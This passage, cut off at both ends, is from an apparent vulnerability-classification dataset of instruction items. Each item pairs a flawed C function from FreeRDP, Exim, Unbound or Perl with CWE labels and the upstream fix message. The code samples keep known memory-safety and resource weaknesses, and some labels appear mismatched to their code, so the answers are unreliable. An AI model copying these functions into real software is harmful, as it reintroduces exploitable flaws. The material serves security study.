gspca-stv06xx: support bandwidth changing\")\nCc: stable # 2.6.31\nCc: Hans de Goede \nSigned-off-by: Johan Hovold \nSigned-off-by: Hans Verkuil \nSigned-off-by: Mauro Carvalho Chehab '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static BOOL update_read_icon_info(wStream* s, ICON_INFO* iconInfo)\n{\n\tBYTE* newBitMask;\n\n\tif (Stream_GetRemainingLength(s) < 8)\n\t\treturn FALSE;\n\n\tStream_Read_UINT16(s, iconInfo->cacheEntry); /* cacheEntry (2 bytes) */\n\tStream_Read_UINT8(s, iconInfo->cacheId); /* cacheId (1 byte) */\n\tStream_Read_UINT8(s, iconInfo->bpp); /* bpp (1 byte) */\n\n\tif ((iconInfo->bpp < 1) || (iconInfo->bpp > 32))\n\t{\n\t\tWLog_ERR(TAG, \"invalid bpp value %\" PRIu32 \"\", iconInfo->bpp);\n\t\treturn FALSE;\n\t}\n\n\tStream_Read_UINT16(s, iconInfo->width); /* width (2 bytes) */\n\tStream_Read_UINT16(s, iconInfo->height); /* height (2 bytes) */\n\n\t/* cbColorTable is only present when bpp is 1, 4 or 8 */\n\tswitch (iconInfo->bpp)\n\t{\n\t\tcase 1:\n\t\tcase 4:\n\t\tcase 8:\n\t\t\tif (Stream_GetRemainingLength(s) < 2)\n\t\t\t\treturn FALSE;\n\n\t\t\tStream_Read_UINT16(s, iconInfo->cbColorTable); /* cbColorTable (2 bytes) */\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\ticonInfo->cbColorTable = 0;\n\t\t\tbreak;\n\t}\n\n\tif (Stream_GetRemainingLength(s) < 4)\n\t\treturn FALSE;\n\n\tStream_Read_UINT16(s, iconInfo->cbBitsMask); /* cbBitsMask (2 bytes) */\n\tStream_Read_UINT16(s, iconInfo->cbBitsColor); /* cbBitsColor (2 bytes) */\n\n\tif (Stream_GetRemainingLength(s) < iconInfo->cbBitsMask + iconInfo->cbBitsColor)\n\t\treturn FALSE;\n\n\t/* bitsMask */\n\tnewBitMask = (BYTE*)realloc(iconInfo->bitsMask, iconInfo->cbBitsMask);\n\n\tif (!newBitMask)\n\t{\n\t\tfree(iconInfo->bitsMask);\n\t\ticonInfo->bitsMask = NULL;\n\t\treturn FALSE;\n\t}\n\n\ticonInfo->bitsMask = newBitMask;\n\tStream_Read(s, iconInfo->bitsMask, iconInfo->cbBitsMask);\n\n\t/* colorTable */\n\tif (iconInfo->colorTable == NULL)\n\t{\n\t\tif (iconInfo->cbColorTable)\n\t\t{\n\t\t\ticonInfo->colorTable = (BYTE*)malloc(iconInfo->cbColorTable);\n\n\t\t\tif (!iconInfo->colorTable)\n\t\t\t\treturn FALSE;\n\t\t}\n\t}\n\telse if (iconInfo->cbColorTable)\n\t{\n\t\tBYTE* new_tab;\n\t\tnew_tab = (BYTE*)realloc(iconInfo->colorTable, iconInfo->cbColorTable);\n\n\t\tif (!new_tab)\n\t\t{\n\t\t\tfree(iconInfo->colorTable);\n\t\t\ticonInfo->colorTable = NULL;\n\t\t\treturn FALSE;\n\t\t}\n\n\t\ticonInfo->colorTable = new_tab;\n\t}\n\telse\n\t{\n\t\tfree(iconInfo->colorTable);\n\t\ticonInfo->colorTable = NULL;\n\t}\n\n\tif (iconInfo->colorTable)\n\t\tStream_Read(s, iconInfo->colorTable, iconInfo->cbColorTable);\n\n\t/* bitsColor */\n\tnewBitMask = (BYTE*)realloc(iconInfo->bitsColor, iconInfo->cbBitsColor);\n\n\tif (!newBitMask)\n\t{\n\t\tfree(iconInfo->bitsColor);\n\t\ticonInfo->bitsColor = NULL;\n\t\treturn FALSE;\n\t}\n\n\ticonInfo->bitsColor = newBitMask;\n\tStream_Read(s, iconInfo->bitsColor, iconInfo->cbBitsColor);\n\treturn TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fix #6010: Check length in read_icon_info'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static CACHE_BITMAP_V2_ORDER* update_read_cache_bitmap_v2_order(rdpUpdate* update, wStream* s,\n BOOL compressed, UINT16 flags)\n{\n\tBYTE bitsPerPixelId;\n\tCACHE_BITMAP_V2_ORDER* cache_bitmap_v2;\n\n\tif (!update || !s)\n\t\treturn NULL;\n\n\tcache_bitmap_v2 = calloc(1, sizeof(CACHE_BITMAP_V2_ORDER));\n\n\tif (!cache_bitmap_v2)\n\t\tgoto fail;\n\n\tcache_bitmap_v2->cacheId = flags & 0x0003;\n\tcache_bitmap_v2->flags = (flags & 0xFF80) >> 7;\n\tbitsPerPixelId = (flags & 0x0078) >> 3;\n\tcache_bitmap_v2->bitmapBpp = CBR2_BPP[bitsPerPixelId];\n\n\tif (cache_bitmap_v2->flags & CBR2_PERSISTENT_KEY_PRESENT)\n\t{\n\t\tif (Stream_GetRemainingLength(s) < 8)\n\t\t\tgoto fail;\n\n\t\tStream_Read_UINT32(s, cache_bitmap_v2->key1); /* key1 (4 bytes) */\n\t\tStream_Read_UINT32(s, cache_bitmap_v2->key2); /* key2 (4 bytes) */\n\t}\n\n\tif (cache_bitmap_v2->flags & CBR2_HEIGHT_SAME_AS_WIDTH)\n\t{\n\t\tif (!update_read_2byte_unsigned(s, &cache_bitmap_v2->bitmapWidth)) /* bitmapWidth */\n\t\t\tgoto fail;\n\n\t\tcache_bitmap_v2->bitmapHeight = cache_bitmap_v2->bitmapWidth;\n\t}\n\telse\n\t{\n\t\tif (!update_read_2byte_unsigned(s, &cache_bitmap_v2->bitmapWidth) || /* bitmapWidth */\n\t\t !update_read_2byte_unsigned(s, &cache_bitmap_v2->bitmapHeight)) /* bitmapHeight */\n\t\t\tgoto fail;\n\t}\n\n\tif (!update_read_4byte_unsigned(s, &cache_bitmap_v2->bitmapLength) || /* bitmapLength */\n\t !update_read_2byte_unsigned(s, &cache_bitmap_v2->cacheIndex)) /* cacheIndex */\n\t\tgoto fail;\n\n\tif (cache_bitmap_v2->flags & CBR2_DO_NOT_CACHE)\n\t\tcache_bitmap_v2->cacheIndex = BITMAP_CACHE_WAITING_LIST_INDEX;\n\n\tif (compressed)\n\t{\n\t\tif (!(cache_bitmap_v2->flags & CBR2_NO_BITMAP_COMPRESSION_HDR))\n\t\t{\n\t\t\tif (Stream_GetRemainingLength(s) < 8)\n\t\t\t\tgoto fail;\n\n\t\t\tStream_Read_UINT16(\n\t\t\t s, cache_bitmap_v2->cbCompFirstRowSize); /* cbCompFirstRowSize (2 bytes) */\n\t\t\tStream_Read_UINT16(\n\t\t\t s, cache_bitmap_v2->cbCompMainBodySize); /* cbCompMainBodySize (2 bytes) */\n\t\t\tStream_Read_UINT16(s, cache_bitmap_v2->cbScanWidth); /* cbScanWidth (2 bytes) */\n\t\t\tStream_Read_UINT16(\n\t\t\t s, cache_bitmap_v2->cbUncompressedSize); /* cbUncompressedSize (2 bytes) */\n\t\t\tcache_bitmap_v2->bitmapLength = cache_bitmap_v2->cbCompMainBodySize;\n\t\t}\n\t}\n\n\tif (Stream_GetRemainingLength(s) < cache_bitmap_v2->bitmapLength)\n\t\tgoto fail;\n\n\tif (cache_bitmap_v2->bitmapLength == 0)\n\t\tgoto fail;\n\n\tcache_bitmap_v2->bitmapDataStream = malloc(cache_bitmap_v2->bitmapLength);\n\n\tif (!cache_bitmap_v2->bitmapDataStream)\n\t\tgoto fail;\n\n\tStream_Read(s, cache_bitmap_v2->bitmapDataStream, cache_bitmap_v2->bitmapLength);\n\tcache_bitmap_v2->compressed = compressed;\n\treturn cache_bitmap_v2;\nfail:\n\tfree_cache_bitmap_v2_order(update->context, cache_bitmap_v2);\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fixed CVE-2020-11521: Out of bounds write in planar codec.\n\nThanks to Sunglin and HuanGMz from Knownsec 404'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static INLINE BOOL ensure_capacity(const BYTE* start, const BYTE* end, size_t size, size_t base)\n{\n\tconst size_t available = (uintptr_t)end - (uintptr_t)start;\n\tconst BOOL rc = available >= size * base;\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Fix CVE-2020-11524: out of bounds access in interleaved\n\nThanks to Sunglin and HuanGMz from Knownsec 404'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: auth_spa_server(auth_instance *ablock, uschar *data)\n{\nauth_spa_options_block *ob = (auth_spa_options_block *)(ablock->options_block);\nuint8x lmRespData[24];\nuint8x ntRespData[24];\nSPAAuthRequest request;\nSPAAuthChallenge challenge;\nSPAAuthResponse response;\nSPAAuthResponse *responseptr = &response;\nuschar msgbuf[2048];\nuschar *clearpass, *s;\n\n/* send a 334, MS Exchange style, and grab the client's request,\nunless we already have it via an initial response. */\n\nif (!*data && auth_get_no64_data(&data, US\"NTLM supported\") != OK)\n return FAIL;\n\nif (spa_base64_to_bits(CS &request, sizeof(request), CCS data) < 0)\n {\n DEBUG(D_auth) debug_printf(\"auth_spa_server(): bad base64 data in \"\n \"request: %s\\n\", data);\n return FAIL;\n }\n\n/* create a challenge and send it back */\n\nspa_build_auth_challenge(&request, &challenge);\nspa_bits_to_base64(msgbuf, US &challenge, spa_request_length(&challenge));\n\nif (auth_get_no64_data(&data, msgbuf) != OK)\n return FAIL;\n\n/* dump client response */\nif (spa_base64_to_bits(CS &response, sizeof(response), CCS data) < 0)\n {\n DEBUG(D_auth) debug_printf(\"auth_spa_server(): bad base64 data in \"\n \"response: %s\\n\", data);\n return FAIL;\n }\n\n/***************************************************************\nPH 07-Aug-2003: The original code here was this:\n\nUstrcpy(msgbuf, unicodeToString(((char*)responseptr) +\n IVAL(&responseptr->uUser.offset,0),\n SVAL(&responseptr->uUser.len,0)/2) );\n\nHowever, if the response data is too long, unicodeToString bombs out on\nan assertion failure. It uses a 1024 fixed buffer. Bombing out is not a good\nidea. It's too messy to try to rework that function to return an error because\nit is called from a number of other places in the auth-spa.c module. Instead,\nsince it is a very small function, I reproduce its code here, with a size check\nthat causes failure if the size of msgbuf is exceeded. ****/\n\n {\n int i;\n char * p = (CS responseptr) + IVAL(&responseptr->uUser.offset,0);\n int len = SVAL(&responseptr->uUser.len,0)/2;\n\n if (p + len*2 >= CS (responseptr+1))\n {\n DEBUG(D_auth)\n debug_printf(\"auth_spa_server(): bad uUser spec in response\\n\");\n return FAIL;\n }\n\n if (len + 1 >= sizeof(msgbuf)) return FAIL;\n for (i = 0; i < len; ++i)\n {\n msgbuf[i] = *p & 0x7f;\n p += 2;\n }\n msgbuf[i] = 0;\n }\n\n/***************************************************************/\n\n/* Put the username in $auth1 and $1. The former is now the preferred variable;\nthe latter is the original variable. These have to be out of stack memory, and\nneed to be available once known even if not authenticated, for error messages\n(server_set_id, which only makes it to authenticated_id if we return OK) */\n\nauth_vars[0] = expand_nstring[1] = string_copy(msgbuf);\nexpand_nlength[1] = Ustrlen(msgbuf);\nexpand_nmax = 1;\n\ndebug_print_string(ablock->server_debug_string); /* customized debug */\n\n/* look up password */\n\nif (!(clearpass = expand_string(ob->spa_serverpassword)))\n if (f.expand_string_forcedfail)\n {\n DEBUG(D_auth) debug_printf(\"auth_spa_server(): forced failure while \"\n \"expanding spa_serverpassword\\n\");\n return FAIL;\n }\n else\n {\n DEBUG(D_auth) debug_printf(\"auth_spa_server(): error while expanding \"\n \"spa_serverpassword: %s\\n\", expand_string_message);\n return DEFER;\n }\n\n/* create local hash copy */\n\nspa_smb_encrypt(clearpass, challenge.challengeData, lmRespData);\nspa_smb_nt_encrypt(clearpass, challenge.challengeData, ntRespData);\n\n/* compare NT hash (LM may not be available) */\n\ns = (US responseptr) + IVAL(&responseptr->ntResponse.offset,0);\nif (s + 24 >= US (responseptr+1))\n {\n DEBUG(D_auth)\n debug_printf(\"auth_spa_server(): bad ntRespData spec in response\\n\");\n return FAIL;\n }\n\nif (memcmp(ntRespData, s, 24) == 0)\n return auth_check_serv_cond(ablock);\t/* success. we have a winner. */\n\n /* Expand server_condition as an authorization check (PH) */\n\nreturn FAIL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Rework SPA fix to avoid overflows. Bug 2571\n\nAmends: 57aa14b216'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int iter_lookup_parent_glue_from_cache(struct module_env* env,\n struct delegpt* dp, struct regional* region, struct query_info* qinfo)\n{\n\tstruct ub_packed_rrset_key* akey;\n\tstruct delegpt_ns* ns;\n\tsize_t num = delegpt_count_targets(dp);\n\tfor(ns = dp->nslist; ns; ns = ns->next) {\n\t\t/* get cached parentside A */\n\t\takey = rrset_cache_lookup(env->rrset_cache, ns->name, \n\t\t\tns->namelen, LDNS_RR_TYPE_A, qinfo->qclass, \n\t\t\tPACKED_RRSET_PARENT_SIDE, *env->now, 0);\n\t\tif(akey) {\n\t\t\tlog_rrset_key(VERB_ALGO, \"found parent-side\", akey);\n\t\t\tns->done_pside4 = 1;\n\t\t\t/* a negative-cache-element has no addresses it adds */\n\t\t\tif(!delegpt_add_rrset_A(dp, region, akey, 1))\n\t\t\t\tlog_err(\"malloc failure in lookup_parent_glue\");\n\t\t\tlock_rw_unlock(&akey->entry.lock);\n\t\t}\n\t\t/* get cached parentside AAAA */\n\t\takey = rrset_cache_lookup(env->rrset_cache, ns->name, \n\t\t\tns->namelen, LDNS_RR_TYPE_AAAA, qinfo->qclass, \n\t\t\tPACKED_RRSET_PARENT_SIDE, *env->now, 0);\n\t\tif(akey) {\n\t\t\tlog_rrset_key(VERB_ALGO, \"found parent-side\", akey);\n\t\t\tns->done_pside6 = 1;\n\t\t\t/* a negative-cache-element has no addresses it adds */\n\t\t\tif(!delegpt_add_rrset_AAAA(dp, region, akey, 1))\n\t\t\t\tlog_err(\"malloc failure in lookup_parent_glue\");\n\t\t\tlock_rw_unlock(&akey->entry.lock);\n\t\t}\n\t}\n\t/* see if new (but lame) addresses have become available */\n\treturn delegpt_count_targets(dp) != num;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': '- CVE-2020-12662 Unbound can be tricked into amplifying an incoming\n query into a large number of queries directed to a target.\n- CVE-2020-12663 Malformed answers from upstream name servers can be\n used to make Unbound unresponsive.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: parse_get_cname_target(struct rrset_parse* rrset, uint8_t** sname, \n\tsize_t* snamelen)\n{\n\tif(rrset->rr_count != 1) {\n\t\tstruct rr_parse* sig;\n\t\tverbose(VERB_ALGO, \"Found CNAME rrset with \"\n\t\t\t\"size > 1: %u\", (unsigned)rrset->rr_count);\n\t\t/* use the first CNAME! */\n\t\trrset->rr_count = 1;\n\t\trrset->size = rrset->rr_first->size;\n\t\tfor(sig=rrset->rrsig_first; sig; sig=sig->next)\n\t\t\trrset->size += sig->size;\n\t\trrset->rr_last = rrset->rr_first;\n\t\trrset->rr_first->next = NULL;\n\t}\n\tif(rrset->rr_first->size < sizeof(uint16_t)+1)\n\t\treturn 0; /* CNAME rdata too small */\n\t*sname = rrset->rr_first->ttl_data + sizeof(uint32_t)\n\t\t+ sizeof(uint16_t); /* skip ttl, rdatalen */\n\t*snamelen = rrset->rr_first->size - sizeof(uint16_t);\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': '- CVE-2020-12662 Unbound can be tricked into amplifying an incoming\n query into a large number of queries directed to a target.\n- CVE-2020-12663 Malformed answers from upstream name servers can be\n used to make Unbound unresponsive.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: generate_target_query(struct module_qstate* qstate, struct iter_qstate* iq,\n int id, uint8_t* name, size_t namelen, uint16_t qtype, uint16_t qclass)\n{\n\tstruct module_qstate* subq;\n\tif(!generate_sub_request(name, namelen, qtype, qclass, qstate, \n\t\tid, iq, INIT_REQUEST_STATE, FINISHED_STATE, &subq, 0))\n\t\treturn 0;\n\tlog_nametypeclass(VERB_QUERY, \"new target\", name, qtype, qclass);\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': '- CVE-2020-12662 Unbound can be tricked into amplifying an incoming\n query into a large number of queries directed to a target.\n- CVE-2020-12663 Malformed answers from upstream name servers can be\n used to make Unbound unresponsive.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: processTargetResponse(struct module_qstate* qstate, int id,\n\tstruct module_qstate* forq)\n{\n\tstruct iter_qstate* iq = (struct iter_qstate*)qstate->minfo[id];\n\tstruct iter_qstate* foriq = (struct iter_qstate*)forq->minfo[id];\n\tstruct ub_packed_rrset_key* rrset;\n\tstruct delegpt_ns* dpns;\n\tlog_assert(qstate->return_rcode == LDNS_RCODE_NOERROR);\n\n\tforiq->state = QUERYTARGETS_STATE;\n\tlog_query_info(VERB_ALGO, \"processTargetResponse\", &qstate->qinfo);\n\tlog_query_info(VERB_ALGO, \"processTargetResponse super\", &forq->qinfo);\n\n\t/* Tell the originating event that this target query has finished\n\t * (regardless if it succeeded or not). */\n\tforiq->num_target_queries--;\n\n\t/* check to see if parent event is still interested (in orig name). */\n\tif(!foriq->dp) {\n\t\tverbose(VERB_ALGO, \"subq: parent not interested, was reset\");\n\t\treturn; /* not interested anymore */\n\t}\n\tdpns = delegpt_find_ns(foriq->dp, qstate->qinfo.qname,\n\t\t\tqstate->qinfo.qname_len);\n\tif(!dpns) {\n\t\t/* If not interested, just stop processing this event */\n\t\tverbose(VERB_ALGO, \"subq: parent not interested anymore\");\n\t\t/* could be because parent was jostled out of the cache,\n\t\t and a new identical query arrived, that does not want it*/\n\t\treturn;\n\t}\n\n\t/* if iq->query_for_pside_glue then add the pside_glue (marked lame) */\n\tif(iq->pside_glue) {\n\t\t/* if the pside_glue is NULL, then it could not be found,\n\t\t * the done_pside is already set when created and a cache\n\t\t * entry created in processFinished so nothing to do here */\n\t\tlog_rrset_key(VERB_ALGO, \"add parentside glue to dp\", \n\t\t\tiq->pside_glue);\n\t\tif(!delegpt_add_rrset(foriq->dp, forq->region, \n\t\t\tiq->pside_glue, 1))\n\t\t\tlog_err(\"out of memory adding pside glue\");\n\t}\n\n\t/* This response is relevant to the current query, so we \n\t * add (attempt to add, anyway) this target(s) and reactivate \n\t * the original event. \n\t * NOTE: we could only look for the AnswerRRset if the \n\t * response type was ANSWER. */\n\trrset = reply_find_answer_rrset(&iq->qchase, qstate->return_msg->rep);\n\tif(rrset) {\n\t\t/* if CNAMEs have been followed - add new NS to delegpt. */\n\t\t/* BTW. RFC 1918 says NS should not have got CNAMEs. Robust. */\n\t\tif(!delegpt_find_ns(foriq->dp, rrset->rk.dname, \n\t\t\trrset->rk.dname_len)) {\n\t\t\t/* if dpns->lame then set newcname ns lame too */\n\t\t\tif(!delegpt_add_ns(foriq->dp, forq->region, \n\t\t\t\trrset->rk.dname, dpns->lame))\n\t\t\t\tlog_err(\"out of memory adding cnamed-ns\");\n\t\t}\n\t\t/* if dpns->lame then set the address(es) lame too */\n\t\tif(!delegpt_add_rrset(foriq->dp, forq->region, rrset, \n\t\t\tdpns->lame))\n\t\t\tlog_err(\"out of memory adding targets\");\n\t\tverbose(VERB_ALGO, \"added target response\");\n\t\tdelegpt_log(VERB_ALGO, foriq->dp);\n\t} else {\n\t\tverbose(VERB_ALGO, \"iterator TargetResponse failed\");\n\t\tdpns->resolved = 1; /* fail the target */\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': '- CVE-2020-12662 Unbound can be tricked into amplifying an incoming\n query into a large number of queries directed to a target.\n- CVE-2020-12663 Malformed answers from upstream name servers can be\n used to make Unbound unresponsive.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: REGEXP *\nPerl_re_op_compile(pTHX_ SV ** const patternp, int pat_count,\n\t\t OP *expr, const regexp_engine* eng, REGEXP *old_re,\n\t\t bool *is_bare_re, const U32 orig_rx_flags, const U32 pm_flags)\n{\n dVAR;\n REGEXP *Rx; /* Capital 'R' means points to a REGEXP */\n STRLEN plen;\n char *exp;\n regnode *scan;\n I32 flags;\n SSize_t minlen = 0;\n U32 rx_flags;\n SV *pat;\n SV** new_patternp = patternp;\n\n /* these are all flags - maybe they should be turned\n * into a single int with different bit masks */\n I32 sawlookahead = 0;\n I32 sawplus = 0;\n I32 sawopen = 0;\n I32 sawminmod = 0;\n\n regex_charset initial_charset = get_regex_charset(orig_rx_flags);\n bool recompile = 0;\n bool runtime_code = 0;\n scan_data_t data;\n RExC_state_t RExC_state;\n RExC_state_t * const pRExC_state = &RExC_state;\n#ifdef TRIE_STUDY_OPT\n int restudied = 0;\n RExC_state_t copyRExC_state;\n#endif\n GET_RE_DEBUG_FLAGS_DECL;\n\n PERL_ARGS_ASSERT_RE_OP_COMPILE;\n\n DEBUG_r(if (!PL_colorset) reginitcolors());\n\n /* Initialize these here instead of as-needed, as is quick and avoids\n * having to test them each time otherwise */\n if (! PL_InBitmap) {\n#ifdef DEBUGGING\n char * dump_len_string;\n#endif\n\n /* This is calculated here, because the Perl program that generates the\n * static global ones doesn't currently have access to\n * NUM_ANYOF_CODE_POINTS */\n\tPL_InBitmap = _new_invlist(2);\n\tPL_InBitmap = _add_range_to_invlist(PL_InBitmap, 0,\n NUM_ANYOF_CODE_POINTS - 1);\n#ifdef DEBUGGING\n dump_len_string = PerlEnv_getenv(\"PERL_DUMP_RE_MAX_LEN\");\n if ( ! dump_len_string\n || ! grok_atoUV(dump_len_string, (UV *)&PL_dump_re_max_len, NULL))\n {\n PL_dump_re_max_len = 60; /* A reasonable default */\n }\n#endif\n }\n\n pRExC_state->warn_text = NULL;\n pRExC_state->unlexed_names = NULL;\n pRExC_state->code_blocks = NULL;\n\n if (is_bare_re)\n\t*is_bare_re = FALSE;\n\n if (expr && (expr->op_type == OP_LIST ||\n\t\t(expr->op_type == OP_NULL && expr->op_targ == OP_LIST))) {\n\t/* allocate code_blocks if needed */\n\tOP *o;\n\tint ncode = 0;\n\n\tfor (o = cLISTOPx(expr)->op_first; o; o = OpSIBLING(o))\n\t if (o->op_type == OP_NULL && (o->op_flags & OPf_SPECIAL))\n\t\tncode++; /* count of DO blocks */\n\n\tif (ncode)\n pRExC_state->code_blocks = S_alloc_code_blocks(aTHX_ ncode);\n }\n\n if (!pat_count) {\n /* compile-time pattern with just OP_CONSTs and DO blocks */\n\n int n;\n OP *o;\n\n /* find how many CONSTs there are */\n assert(expr);\n n = 0;\n if (expr->op_type == OP_CONST)\n n = 1;\n else\n for (o = cLISTOPx(expr)->op_first; o; o = OpSIBLING(o)) {\n if (o->op_type == OP_CONST)\n n++;\n }\n\n /* fake up an SV array */\n\n assert(!new_patternp);\n Newx(new_patternp, n, SV*);\n SAVEFREEPV(new_patternp);\n pat_count = n;\n\n n = 0;\n if (expr->op_type == OP_CONST)\n new_patternp[n] = cSVOPx_sv(expr);\n else\n for (o = cLISTOPx(expr)->op_first; o; o = OpSIBLING(o)) {\n if (o->op_type == OP_CONST)\n new_patternp[n++] = cSVOPo_sv;\n }\n\n }\n\n DEBUG_PARSE_r(Perl_re_printf( aTHX_\n \"Assembling pattern from %d elements%s\\n\", pat_count,\n orig_rx_flags & RXf_SPLIT ? \" for split\" : \"\"));\n\n /* set expr to the first arg op */\n\n if (pRExC_state->code_blocks && pRExC_state->code_blocks->count\n && expr->op_type != OP_CONST)\n {\n expr = cLISTOPx(expr)->op_first;\n assert( expr->op_type == OP_PUSHMARK\n || (expr->op_type == OP_NULL && expr->op_targ == OP_PUSHMARK)\n || expr->op_type == OP_PADRANGE);\n expr = OpSIBLING(expr);\n }\n\n pat = S_concat_pat(aTHX_ pRExC_state, NULL, new_patternp, pat_count,\n expr, &recompile, NULL);\n\n /* handle bare (possibly after overloading) regex: foo =~ $re */\n {\n SV *re = pat;\n if (SvROK(re))\n re = SvRV(re);\n if (SvTYPE(re) == SVt_REGEXP) {\n if (is_bare_re)\n *is_bare_re = TRUE;\n SvREFCNT_inc(re);\n DEBUG_PARSE_r(Perl_re_printf( aTHX_\n \"Precompiled pattern%s\\n\",\n orig_rx_flags & RXf_SPLIT ? \" for split\" : \"\"));\n\n return (REGEXP*)re;\n }\n }\n\n exp = SvPV_nomg(pat, plen);\n\n if (!eng->op_comp) {\n\tif ((SvUTF8(pat) && IN_BYTES)\n\t\t|| SvGMAGICAL(pat) || SvAMAGIC(pat))\n\t{\n\t /* make a temporary copy; either to convert to bytes,\n\t * or to avoid repeating get-magic / overloaded stringify */\n\t pat = newSVpvn_flags(exp, plen, SVs_TEMP |\n\t\t\t\t\t(IN_BYTES ? 0 : SvUTF8(pat)));\n\t}\n\treturn CALLREGCOMP_ENG(eng, pat, orig_rx_flags);\n }\n\n /* ignore the utf8ness if the pattern is 0 length */\n RExC_utf8 = RExC_orig_utf8 = (plen == 0 || IN_BYTES) ? 0 : SvUTF8(pat);\n RExC_uni_semantics = 0;\n RExC_contains_locale = 0;\n RExC_strict = cBOOL(pm_flags & RXf_PMf_STRICT);\n RExC_in_script_run = 0;\n RExC_study_started = 0;\n pRExC_state->runtime_code_qr = NULL;\n RExC_frame_head= NULL;\n RExC_frame_last= NULL;\n RExC_frame_count= 0;\n RExC_latest_warn_offset = 0;\n RExC_use_BRANCHJ = 0;\n RExC_total_parens = 0;\n RExC_open_parens = NULL;\n RExC_close_parens = NULL;\n RExC_paren_names = NULL;\n RExC_size = 0;\n RExC_seen_d_op = FALSE;\n#ifdef DEBUGGING\n RExC_paren_name_list = NULL;\n#endif\n\n DEBUG_r({\n RExC_mysv1= sv_newmortal();\n RExC_mysv2= sv_newmortal();\n });\n\n DEBUG_COMPILE_r({\n SV *dsv= sv_newmortal();\n RE_PV_QUOTED_DECL(s, RExC_utf8, dsv, exp, plen, PL_dump_re_max_len);\n Perl_re_printf( aTHX_ \"%sCompiling REx%s %s\\n\",\n PL_colors[4], PL_colors[5], s);\n });\n\n /* we jump here if we have to recompile, e.g., from upgrading the pattern\n * to utf8 */\n\n if ((pm_flags & PMf_USE_RE_EVAL)\n\t\t/* this second condition covers the non-regex literal case,\n\t\t * i.e. $foo =~ '(?{})'. */\n\t\t|| (IN_PERL_COMPILETIME && (PL_hints & HINT_RE_EVAL))\n )\n\truntime_code = S_has_runtime_code(aTHX_ pRExC_state, exp, plen);\n\n redo_parse:\n /* return old regex if pattern hasn't changed */\n /* XXX: note in the below we have to check the flags as well as the\n * pattern.\n *\n * Things get a touch tricky as we have to compare the utf8 flag\n * independently from the compile flags. */\n\n if ( old_re\n && !recompile\n && !!RX_UTF8(old_re) == !!RExC_utf8\n && ( RX_COMPFLAGS(old_re) == ( orig_rx_flags & RXf_PMf_FLAGCOPYMASK ) )\n\t&& RX_PRECOMP(old_re)\n\t&& RX_PRELEN(old_re) == plen\n && memEQ(RX_PRECOMP(old_re), exp, plen)\n\t&& !runtime_code /* with runtime code, always recompile */ )\n {\n return old_re;\n }\n\n /* Allocate the pattern's SV */\n RExC_rx_sv = Rx = (REGEXP*) newSV_type(SVt_REGEXP);\n RExC_rx = ReANY(Rx);\n if ( RExC_rx == NULL )\n FAIL(\"Regexp out of space\");\n\n rx_flags = orig_rx_flags;\n\n if ( (UTF || RExC_uni_semantics)\n && initial_charset == REGEX_DEPENDS_CHARSET)\n {\n\n\t/* Set to use unicode semantics if the pattern is in utf8 and has the\n\t * 'depends' charset specified, as it means unicode when utf8 */\n\tset_regex_charset(&rx_flags, REGEX_UNICODE_CHARSET);\n RExC_uni_semantics = 1;\n }\n\n RExC_pm_flags = pm_flags;\n\n if (runtime_code) {\n assert(TAINTING_get || !TAINT_get);\n\tif (TAINT_get)\n\t Perl_croak(aTHX_ \"Eval-group in insecure regular expression\");\n\n\tif (!S_compile_runtime_code(aTHX_ pRExC_state, exp, plen)) {\n\t /* whoops, we have a non-utf8 pattern, whilst run-time code\n\t * got compiled as utf8. Try again with a utf8 pattern */\n S_pat_upgrade_to_utf8(aTHX_ pRExC_state, &exp, &plen,\n pRExC_state->code_blocks ? pRExC_state->code_blocks->count : 0);\n goto redo_parse;\n\t}\n }\n assert(!pRExC_state->runtime_code_qr);\n\n RExC_sawback = 0;\n\n RExC_seen = 